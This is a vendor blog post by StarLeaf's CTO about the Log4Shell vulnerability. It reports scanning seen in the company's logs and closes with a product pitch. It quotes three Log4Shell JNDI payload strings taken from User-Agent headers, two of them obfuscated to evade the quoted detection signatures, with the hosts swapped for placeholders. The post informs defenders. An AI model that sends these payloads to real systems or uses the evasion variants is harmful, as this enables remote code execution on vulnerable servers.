Log4Shell vulnerabilities and StarLeaf services

Sam Jansen, StarLeaf CTO, talks through the StarLeaf experience of Log4Shell from a service provider point of view.

December 15, 2021

The Apache Log4Shell vulnerability is making headlines all over the world and we expect to see more stories emerge in the coming days. While cyber attacks are normally very targeted to a particular software or service, a vulnerability such as this one has a far wider impact as Log4j is essentially embedded on any Java-based service or website.

StarLeaf users can be assured that the StarLeaf platform and StarLeaf services are protected from this vulnerability. In investigating the impact this might have on our services, as any service provider should, we uncovered some worrying findings about the modus operandi of those seeking to exploit the vulnerability.

We first heard about Log4Shell vulnerability on Friday afternoon and immediately deployed our threat response team. This includes experts from our InfoSec and DevOps teams who set about trying to identify which of our services might be at risk. On concluding that our services were safe from risk, our InfoSec team published a public statement onto our support site on Monday.

What we discovered while investigating was that the speed of this exploit being seen in the wild was astounding. Like many others, we immediately saw in our logs that malicious actors were already scanning across many of our services to discover if we were vulnerable.

We observed very early that the hackers were exploring the vulnerability and immediately working around any defenses that security advisories were offering up. Like a virus that mutates to avoid being stamped out, the malicious attacks were developing at a rapidity we had not previously not observed.

Here are some examples. Threat detection companies were suggesting searching for some simple signatures to detect the presence of attempted compromise. A security advisory from one of our vendors suggested searching for the string “jndi:ldap” and similar, while others suggest instead the string “${jndi”.

The first requests coming into our system matching this were detected before midday on Friday, containing “User-Agent” HTTP headers like the following:

${jndi:ldap://c5g91me2vtc00yyyyn.example.com/example.com}

By 8pm on Saturday the 11th, we were already seeing variants that would avoid detection of the first simple string search, like the following:

${jndi:${lower:l}${lower:d}a${lower:p}://exampl${upper:e}.com:80/example}

The second detection string would catch this, but other variations began appearing in the logs which would not be caught. The following was noticed before midday on Monday the 13th:

${${${e${env:CKCF:-n}v:CMCF:-e}nv:KMCF:-j}ndi:${env:KMCF:-l}dap://0.0.0.0/

(We have changed the hostnames and IP addresses above to not link to any known malicious servers).

And just four days after the vulnerability was announced, security researchers have already confirmed ransomware attacks in the wild.

This incident is still playing out, but what we know is that there are certainly a lot of outfits whose raison d’etre is to discover these vulnerabilities and exploit them, with financial gain or plain chaos being their aim. The fallout is likely to be far-reaching, if you have not already, ask your service providers what they are doing to investigate the level of risk to their services. How are they monitoring the situation and what assurance can they give you?

A takeaway for everyone is that once again it is clear that cyber security is not just about defence, it’s about resilience and building out appropriate systems and responses for when the worst happens.

One such response could be taking systems offline, as we’ve seen with the recent ransomware attack on workforce management software provider Kronos. Obviously, this has a massive knock-on effect on businesses’ ability to carry out their day-to-day operations. Imagine if your digital comms platform was taken offline, either because of an outage or disruptive event, or if your organisation had to shut off access as a precaution. How would your business communicate both internally and externally?

If you’re ready to build resilience, get in touch today to learn more about how StarLeaf Standby can help.

Sam Jansen,<br />
CTO, StarLeaf
Sam Jansen,
CTO, StarLeaf